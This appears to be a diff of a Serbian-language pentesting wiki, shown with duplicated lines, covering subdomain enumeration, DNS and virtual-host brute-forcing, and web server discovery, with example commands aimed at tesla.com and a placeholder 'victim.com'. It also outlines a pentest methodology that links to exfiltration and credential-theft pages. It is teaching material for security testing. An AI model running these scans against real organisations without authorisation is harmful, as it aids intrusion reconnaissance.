theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
|
||||||
```
|
```
|
||||||
|
|
||||||
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, poput:
|
Postoje **drugi zanimljivi alati/API-ji** koji, iako nisu direktno specijalizovani za pronalaženje poddomena, mogu biti korisni za pronalaženje poddomena, poput:
|
||||||
|
|
||||||
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
|
* [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Koristi API [https://sonar.omnisint.io](https://sonar.omnisint.io) za dobijanje poddomena
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get list of subdomains in output from the API
|
# Get list of subdomains in output from the API
|
||||||
## This is the API the crobat tool will use
|
## This is the API the crobat tool will use
|
||||||
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]"
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**JLDC besplatni API**](https://jldc.me/anubis/subdomains/google.com)
|
* [**JLDC besplatni API**](https://jldc.me/anubis/subdomains/google.com)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]"
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**RapidDNS**](https://rapiddns.io) besplatni API
|
* [**RapidDNS**](https://rapiddns.io) besplatni API
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get Domains from rapiddns free API
|
# Get Domains from rapiddns free API
|
||||||
rapiddns(){
|
rapiddns(){
|
||||||
|
@ -287,7 +326,9 @@ curl -s "https://rapiddns.io/subdomain/$1?full=1" \
|
||||||
}
|
}
|
||||||
rapiddns tesla.com
|
rapiddns tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**https://crt.sh/**](https://crt.sh)
|
* [**https://crt.sh/**](https://crt.sh)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get Domains from crt free API
|
# Get Domains from crt free API
|
||||||
crt(){
|
crt(){
|
||||||
|
@ -297,12 +338,16 @@ curl -s "https://crt.sh/?q=%25.$1" \
|
||||||
}
|
}
|
||||||
crt tesla.com
|
crt tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen.
|
* [**gau**](https://github.com/lc/gau)**:** preuzima poznate URL-ove sa AlienVault-ove Open Threat Exchange, Wayback Machine-a i Common Crawl-a za bilo koji dati domen.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get subdomains from GAUs found URLs
|
# Get subdomains from GAUs found URLs
|
||||||
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS fajlovima i iz njih izvlače poddomene.
|
* [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): Oni pretražuju web u potrazi za JS fajlovima i iz njih izvlače poddomene.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get only subdomains from SubDomainizer
|
# Get only subdomains from SubDomainizer
|
||||||
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||||
|
@ -310,23 +355,30 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com
|
||||||
# Get only subdomains from subscraper, this already perform recursion over the found results
|
# Get only subdomains from subscraper, this already perform recursion over the found results
|
||||||
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
|
python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**Shodan**](https://www.shodan.io/)
|
* [**Shodan**](https://www.shodan.io/)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
# Get info about the domain
|
# Get info about the domain
|
||||||
shodan domain <domain>
|
shodan domain <domain>
|
||||||
# Get other pages with links to subdomains
|
# Get other pages with links to subdomains
|
||||||
shodan search "http.html:help.domain.com"
|
shodan search "http.html:help.domain.com"
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**Censys alat za pronalaženje poddomena**](https://github.com/christophetd/censys-subdomain-finder)
|
* [**Censys alat za pronalaženje poddomena**](https://github.com/christophetd/censys-subdomain-finder)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
export CENSYS_API_ID=...
|
export CENSYS_API_ID=...
|
||||||
export CENSYS_API_SECRET=...
|
export CENSYS_API_SECRET=...
|
||||||
python3 censys-subdomain-finder.py tesla.com
|
python3 censys-subdomain-finder.py tesla.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**DomainTrail.py**](https://github.com/gatete/DomainTrail)
|
* [**DomainTrail.py**](https://github.com/gatete/DomainTrail)
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 DomainTrail.py -d example.com
|
python3 DomainTrail.py -d example.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**securitytrails.com**](https://securitytrails.com/) ima besplatnu API za pretragu poddomena i istoriju IP adresa
|
* [**securitytrails.com**](https://securitytrails.com/) ima besplatnu API za pretragu poddomena i istoriju IP adresa
|
||||||
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
* [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/)
|
||||||
|
|
||||||
|
@ -351,69 +403,93 @@ I takođe IP adrese dobrih DNS resolvera. Da biste generisali listu pouzdanih DN
|
||||||
Najpreporučeniji alati za DNS brute-force su:
|
Najpreporučeniji alati za DNS brute-force su:
|
||||||
|
|
||||||
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivima.
|
* [**massdns**](https://github.com/blechschmidt/massdns): Ovo je bio prvi alat koji je izveo efikasan DNS brute-force. Veoma je brz, međutim sklon je lažnim pozitivima.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**gobuster**](https://github.com/OJ/gobuster): Mislim da ovaj koristi samo 1 rešavač
|
* [**gobuster**](https://github.com/OJ/gobuster): Mislim da ovaj koristi samo 1 rešavač
|
||||||
|
|
||||||
```
|
```
|
||||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem wildcard-ima i jednostavnom podrškom za unos-izlaz.
|
* [**shuffledns**](https://github.com/projectdiscovery/shuffledns) je omotač oko `massdns`, napisan u go-u, koji vam omogućava da nabrojite validne poddomene korišćenjem aktivnog brute force-a, kao i da rešite poddomene sa rukovanjem wildcard-ima i jednostavnom podrškom za unos-izlaz.
|
||||||
|
|
||||||
```
|
```
|
||||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**puredns**](https://github.com/d3mondev/puredns): Takođe koristi `massdns`.
|
* [**puredns**](https://github.com/d3mondev/puredns): Takođe koristi `massdns`.
|
||||||
|
|
||||||
```
|
```
|
||||||
puredns bruteforce all.txt domain.com
|
puredns bruteforce all.txt domain.com
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) koristi asyncio za asinhrono grubo pretraživanje imena domena.
|
* [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) koristi asyncio za asinhrono grubo pretraživanje imena domena.
|
||||||
|
|
||||||
```
|
```
|
||||||
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
|
||||||
```
|
```
|
||||||
|
|
||||||
### Druga runda Brute-Force napada na DNS
|
### Druga runda Brute-Force napada na DNS
|
||||||
|
|
||||||
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za ovu svrhu korisni su neki alati:
|
Nakon što ste pronašli poddomene korišćenjem otvorenih izvora i brute-force tehnike, možete generisati varijacije pronađenih poddomena kako biste pokušali pronaći još više. Za ovu svrhu korisni su neki alati:
|
||||||
|
|
||||||
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generiše permutacije domena i poddomena.
|
* [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Generiše permutacije domena i poddomena.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dnsgen -
|
cat subdomains.txt | dnsgen -
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije.
|
* [**goaltdns**](https://github.com/subfinder/goaltdns): Dati domeni i poddomeni generišu permutacije.
|
||||||
* Možete dobiti goaltdns permutacije **wordlist** ovde: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
* Možete dobiti goaltdns permutacije **wordlist** ovde: [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju.
|
* [**gotator**](https://github.com/Josue87/gotator)**:** Dati domeni i poddomeni generišu permutacije. Ako nije naznačena datoteka permutacija, gotator će koristiti svoju.
|
||||||
|
|
||||||
```
|
```
|
||||||
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt]
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**altdns**](https://github.com/infosec-au/altdns): Pored generisanja permutacija poddomena, može takođe pokušati da ih reši (ali je bolje koristiti prethodno komentarisane alate).
|
* [**altdns**](https://github.com/infosec-au/altdns): Pored generisanja permutacija poddomena, može takođe pokušati da ih reši (ali je bolje koristiti prethodno komentarisane alate).
|
||||||
* Možete preuzeti altdns permutacije **wordlist** [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
* Možete preuzeti altdns permutacije **wordlist** [**ovde**](https://github.com/infosec-au/altdns/blob/master/words.txt).
|
||||||
|
|
||||||
```
|
```
|
||||||
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubo forsirati rezultat (ne podržava dns wild card).
|
* [**dmut**](https://github.com/bp0lr/dmut): Još jedan alat za izvođenje permutacija, mutacija i izmena poddomena. Ovaj alat će grubo forsirati rezultat (ne podržava dns wild card).
|
||||||
* Možete preuzeti dmut permutacije liste reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
* Možete preuzeti dmut permutacije liste reči [**ovde**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt).
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||||
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Zasnovan na domenu, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
* [**alterx**](https://github.com/projectdiscovery/alterx)**:** Zasnovan na domenu, **generiše nove potencijalne poddomene** na osnovu naznačenih obrazaca kako bi pokušao da otkrije više poddomena.
|
||||||
|
|
||||||
#### Pametna generacija permutacija
|
#### Pametna generacija permutacija
|
||||||
|
|
||||||
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html) ali će u osnovi uzeti **glavne delove** otkrivenih poddomena i mešati ih kako bi pronašao više poddomena.
|
* [**regulator**](https://github.com/cramppet/regulator): Za više informacija pročitajte ovaj [**post**](https://cramppet.github.io/regulator/index.html) ali će u osnovi uzeti **glavne delove** otkrivenih poddomena i mešati ih kako bi pronašao više poddomena.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
python3 main.py adobe.com adobe adobe.rules
|
python3 main.py adobe.com adobe adobe.rules
|
||||||
make_brute_list.sh adobe.rules adobe.brute
|
make_brute_list.sh adobe.rules adobe.brute
|
||||||
puredns resolve adobe.brute --write adobe.valid
|
puredns resolve adobe.brute --write adobe.valid
|
||||||
```
|
```
|
||||||
|
|
||||||
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim DNS vođenim algoritmom. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu prikupljenih informacija tokom skeniranja DNS-a.
|
* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ je fuzzer za grubu silu poddomena uparen sa izuzetno jednostalim, ali efikasnim DNS vođenim algoritmom. Koristi pruženi set ulaznih podataka, poput prilagođene liste reči ili istorijskih DNS/TLS zapisa, kako bi tačno sintetisao više odgovarajućih imena domena i dalje ih proširio u petlji na osnovu prikupljenih informacija tokom skeniranja DNS-a.
|
||||||
|
|
||||||
```
|
```
|
||||||
echo www | subzuf facebook.com
|
echo www | subzuf facebook.com
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Radni tok otkrivanja poddomena**
|
### **Radni tok otkrivanja poddomena**
|
||||||
|
|
||||||
Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanje poddomena** sa domena koristeći **Trickest radne tokove** tako da ne moram ručno pokretati gomilu alata na svom računaru:
|
Proverite ovaj blog post koji sam napisao o tome kako **automatizovati otkrivanje poddomena** sa domena koristeći **Trickest radne tokove** tako da ne moram ručno pokretati gomilu alata na svom računaru:
|
||||||
|
@ -433,6 +509,7 @@ Možete pronaći neke **VHostove na IP adresama koristeći** [**HostHunter**](ht
|
||||||
**Brute Force**
|
**Brute Force**
|
||||||
|
|
||||||
Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute force-ujete:
|
Ako sumnjate da se neka poddomena može sakriti na veb serveru, možete pokušati da je brute force-ujete:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com"
|
||||||
|
|
||||||
|
@ -446,6 +523,7 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
|
||||||
#https://github.com/codingo/VHostScan
|
#https://github.com/codingo/VHostScan
|
||||||
VHostScan -t example.com
|
VHostScan -t example.com
|
||||||
```
|
```
|
||||||
|
|
||||||
{% hint style="info" %}
|
{% hint style="info" %}
|
||||||
Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima.
|
Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
@ -453,9 +531,11 @@ Ovom tehnikom možda čak možete pristupiti internim/skrivenim endpointima.
|
||||||
### **CORS Brute Force**
|
### **CORS Brute Force**
|
||||||
|
|
||||||
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u zaglavlju _**Origin**_. U ovim scenarijima, možete zloupotrebiti ovu ponašanje da **otkrijete** nove **poddomene**.
|
Ponekad ćete pronaći stranice koje vraćaju samo zaglavlje _**Access-Control-Allow-Origin**_ kada je validna domena/poddomena postavljena u zaglavlju _**Origin**_. U ovim scenarijima, možete zloupotrebiti ovu ponašanje da **otkrijete** nove **poddomene**.
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Brute Force za Buckets**
|
### **Brute Force za Buckets**
|
||||||
|
|
||||||
Prilikom traženja **poddomena**, obratite pažnju da li je usmeren ka nekoj vrsti **bucket**-a, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
Prilikom traženja **poddomena**, obratite pažnju da li je usmeren ka nekoj vrsti **bucket**-a, i u tom slučaju [**proverite dozvole**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||||
|
@ -500,10 +580,12 @@ Molimo, imajte na umu da će ovo biti **usmereno na otkrivanje web aplikacija**,
|
||||||
|
|
||||||
**Brz način** za otkrivanje **otvorenih portova** koji se odnose na **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
**Brz način** za otkrivanje **otvorenih portova** koji se odnose na **web** servere korišćenjem [**masscan** možete pronaći ovde](../pentesting-network/#http-port-discovery).\
|
||||||
Još jedan koristan alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove:
|
Još jedan koristan alat za traženje web servera je [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) i [**httpx**](https://github.com/projectdiscovery/httpx). Jednostavno prosledite listu domena i pokušaće da se poveže na port 80 (http) i 443 (https). Dodatno, možete naznačiti da pokuša i druge portove:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||||
```
|
```
|
||||||
|
|
||||||
### **Screenshots**
|
### **Screenshots**
|
||||||
|
|
||||||
Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**), verovatno **ne znate odakle da počnete**. Dakle, hajde da to učinimo jednostavnim i počnemo tako što ćemo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **sklone** da budu **ranjive**.
|
Sada kada ste otkrili **sve veb servere** prisutne u opsegu (među **IP adresama** kompanije i svim **domenima** i **poddomenima**), verovatno **ne znate odakle da počnete**. Dakle, hajde da to učinimo jednostavnim i počnemo tako što ćemo napraviti snimke ekrana svih njih. Samo **pogledom** na **glavnu stranicu** možete pronaći **čudne** krajnje tačke koje su više **sklone** da budu **ranjive**.
|
||||||
|
@ -603,6 +685,7 @@ Ako ste otkrili da kompanija ima **otvoren kod**, možete ga **analizirati** i t
|
||||||
Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su:
|
Postoje i besplatne usluge koje vam omogućavaju da **skenirate javne repozitorijume**, kao što su:
|
||||||
|
|
||||||
* [**Snyk**](https://app.snyk.io/)
|
* [**Snyk**](https://app.snyk.io/)
|
||||||
|
|
||||||
## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/)
|
## [**Metodologija testiranja veb aplikacija**](../../network-services-pentesting/pentesting-web/)
|
||||||
|
|
||||||
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
**Većina ranjivosti** otkrivenih od strane lovaca na bagove nalazi se unutar **veb aplikacija**, pa bih u ovom trenutku želeo da govorim o **metodologiji testiranja veb aplikacija**, a možete [**pronaći ove informacije ovde**](../../network-services-pentesting/pentesting-web/).
|
||||||
|
@ -638,7 +721,7 @@ Postoji nekoliko alata koji će obaviti deo predloženih akcija protiv datog ops
|
||||||
|
|
||||||
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
* Svi besplatni kursevi od [**@Jhaddix**](https://twitter.com/Jhaddix) poput [**Metodologija lovca na bagove v4.0 - Recon izdanje**](https://www.youtube.com/watch?v=p4JgIu1mceI)
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://github.com/carlospolop/hacktricks/blob/rs/.gitbook/assets/image%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1)%20(1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Ako vas zanima **karijera hakovanja** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
Ako vas zanima **karijera hakovanja** i hakovanje onoga što se ne može hakovati - **zapošljavamo!** (_potrebno je tečno poznavanje poljskog jezika u pisanju i govoru_).
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,4 @@
|
||||||
# Metodologija pentestiranja
|
# Pentesting Methodology
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
|
@ -28,7 +28,7 @@ _Logotipi Hacktricks-a dizajnirani od strane_ [_@ppiernacho_](https://www.instag
|
||||||
|
|
||||||
### 0- Fizički napadi
|
### 0- Fizički napadi
|
||||||
|
|
||||||
Imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../physical-attacks/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../physical-attacks/escaping-from-gui-applications/).
|
Imate **fizički pristup** mašini koju želite da napadnete? Trebalo bi da pročitate neke [**trikove o fizičkim napadima**](../hardware-physical-access/physical-attacks.md) i druge o [**bekstvu iz GUI aplikacija**](../hardware-physical-access/escaping-from-gui-applications.md).
|
||||||
|
|
||||||
### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/)
|
### 1 - [Otkrivanje hostova unutar mreže](pentesting-network/#discovering-hosts)/ [Otkrivanje resursa kompanije](external-recon-methodology/)
|
||||||
|
|
||||||
|
@ -84,13 +84,14 @@ Posebno u Windows-u možda će vam biti potrebna pomoć da **izbegnete antivirus
|
||||||
|
|
||||||
Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkorisnijih komandi** za pentestere:
|
Ako imate problema sa shell-om, ovde možete pronaći mali **kompilaciju najkorisnijih komandi** za pentestere:
|
||||||
|
|
||||||
* [**Linux**](../linux-hardening/useful-linux-commands/)
|
* [**Linux**](../linux-hardening/useful-linux-commands.md)
|
||||||
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
* [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
|
||||||
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
* [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
|
||||||
|
|
||||||
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
### **9 -** [**Ekstrakcija**](exfiltration.md)
|
||||||
|
|
||||||
Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
Verovatno ćete morati da **izvučete neke podatke sa žrtve** ili čak **ubacite nešto** (kao što su skripte za eskalaciju privilegija). **Ovde imate** [**post o uobičajenim alatima koje možete koristiti u te svrhe**](exfiltration.md)**.**
|
||||||
|
|
||||||
### **10- Eskalacija privilegija**
|
### **10- Eskalacija privilegija**
|
||||||
|
|
||||||
#### **10.1- Lokalna eskalacija privilegija**
|
#### **10.1- Lokalna eskalacija privilegija**
|
||||||
|
@ -99,8 +100,8 @@ Ako **niste root/Administrator** unutar sistema, trebalo bi da pronađete način
|
||||||
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
Ovde možete pronaći **vodič za lokalnu eskalaciju privilegija** u [**Linux-u**](../linux-hardening/privilege-escalation/) **i u** [**Windows-u**](../windows-hardening/windows-local-privilege-escalation/)**.**\
|
||||||
Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**:
|
Takođe, trebalo bi da proverite ove stranice o tome kako **Windows funkcioniše**:
|
||||||
|
|
||||||
* [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs.md)
|
* [**Autentikacija, akreditivi, privilegije tokena i UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||||
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
* Kako funkcioniše [**NTLM**](../windows-hardening/ntlm/)
|
||||||
* Kako **ukrasti akreditive** u Windows-u
|
* Kako **ukrasti akreditive** u Windows-u
|
||||||
* Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/)
|
* Neke trikove o [_**Active Directory-u**_](../windows-hardening/active-directory-methodology/)
|
||||||
|
|
||||||
|
@ -115,7 +116,7 @@ Ovde možete pronaći [**metodologiju koja objašnjava najčešće radnje za enu
|
||||||
#### **11.1 - Pljačkanje**
|
#### **11.1 - Pljačkanje**
|
||||||
|
|
||||||
Proverite da li možete pronaći više **šifri** unutar hosta ili da li imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
|
Proverite da li možete pronaći više **šifri** unutar hosta ili da li imate **pristup drugim mašinama** sa **privilegijama** vašeg **korisnika**.\
|
||||||
Pronađite ovde različite načine za [**izvlačenje šifri u Windows-u**](broken-reference/).
|
Pronađite ovde različite načine za [**izvlačenje šifri u Windows-u**](https://github.com/carlospolop/hacktricks/blob/rs/generic-methodologies-and-resources/broken-reference/README.md).
|
||||||
|
|
||||||
#### 11.2 - Upornost
|
#### 11.2 - Upornost
|
||||||
|
|
||||||
|
@ -137,19 +138,19 @@ Proverite takođe stranicu o [**NTLM-u**](../windows-hardening/ntlm/), može bit
|
||||||
|
|
||||||
#### **Eksploatisanje**
|
#### **Eksploatisanje**
|
||||||
|
|
||||||
